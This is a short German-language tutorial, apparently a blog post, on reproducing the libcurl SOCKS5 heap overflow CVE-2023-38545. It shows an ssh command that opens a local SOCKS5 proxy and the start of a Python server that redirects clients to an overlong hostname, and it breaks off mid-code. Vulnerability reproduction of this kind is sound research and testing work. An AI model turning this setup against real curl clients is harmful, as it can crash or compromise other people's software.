Haftungsausschluss

Dieser Artikel dient nur der technischen Diskussion und dem Lernen. Für alle direkten oder indirekten Konsequenzen und Verluste, die durch die Nutzung der in diesem Artikel bereitgestellten Informationen entstehen, ist allein der Nutzer verantwortlich. Der Autor des Artikels übernimmt keinerlei Verantwortung.

CVE-2023-38545: libcurl-SOCKS5-Heap-Pufferüberlauf

Referenzprojekt: https://github.com/UTsweetyfish/CVE-2023-38545 Eine Reproduktion durchführen

Ablauf der Reproduktion:

1. Führen Sie den folgenden Befehl aus, um einen SOCKS5-Dienst zu starten, der Port 10801 abhört:```jsx ssh -D 10801 127.0.0.1

1. Erstelle die Python-Datei: server.py, starte einen Webservice, der eine 301-Antwort mit einem überlangen Hostnamen zurückgibt und auf Port 8000 lauscht, und führe ihn dann mit python3 aus:```jsx
from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # 301重定向到超长的URL
        self.send_response(301)

---

Read more